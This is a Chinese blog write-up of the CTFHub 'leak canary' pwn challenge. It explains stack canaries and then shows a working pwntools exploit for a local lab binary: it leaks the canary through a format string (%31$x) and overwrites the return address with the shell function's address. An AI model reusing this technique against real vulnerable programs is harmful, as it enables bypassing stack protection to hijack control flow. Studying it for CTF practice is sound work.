【CTF】leak canary

题目来自于 ctfhub 中的 leak canary

What is canary

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

思路

因为程序中有两次输入,首先通过泄露获取到canary的值

第二次输入的时候就需要构造payload,先填充多个字节的padding到canary的位置,再把之前读取到的canary的值进行填充,再继续填充到栈帧 $ebp 的字节数,再写上想要跳转的地址

确定canary

第一次输入可以先泄露canary,输入处下断点

运行到第一次输入

通过canary的机制查找canary的值(#canary到栈顶esp的偏移量是0x1f即31)

查看当前栈中的canary,计算出偏移值

偏移的值为

现在就需要往回找到canary的位置

根据地址找到IDA中对应的位置查找canary的栈的情况

从buf到canary需要的字符 0x70-0xc

需要什么

第一次输入泄露canary的值(确定canary在哪)canary结尾一定为00

从buf到canary需要填充多少数据(buf到canary的地址差值)eax-canary

填充完 canary 再到填充多少数据 到 $ebp 去执行其他地址的函数

EXP

from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process("./pwn")
p.recvline()
p.sendline(b'%31$x')	# 根据变量设定的大小来输入泄露canary的值
canary = int(p.recv(8), 16)	# 接收canary的值
log.success('canary => %#x', canary)
print(canary)
elf = ELF('./pwn')
shell_addr = elf.symbols['shell']  # 0x80485a6
payload = b'a'*100 + p32(canary) + b'a'*12 + p32(shell_addr)	# 填充100个字节a到canary + canary + 填充12个字节到$ebp + 函数地址
p.sendline(payload)
p.interactive()

微信公众号

扫一扫关注CatalyzeSec公众号

 加入我们的星球,我们能提供:

1对1就业指导、面试模拟、Golang工具开发学习、Fofo高级会员、各公众号历史文章合集、各种网络安全电子书、面试题合集、最新poc、exp、最常用工具推荐、开放交流环境,解决成员问题。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值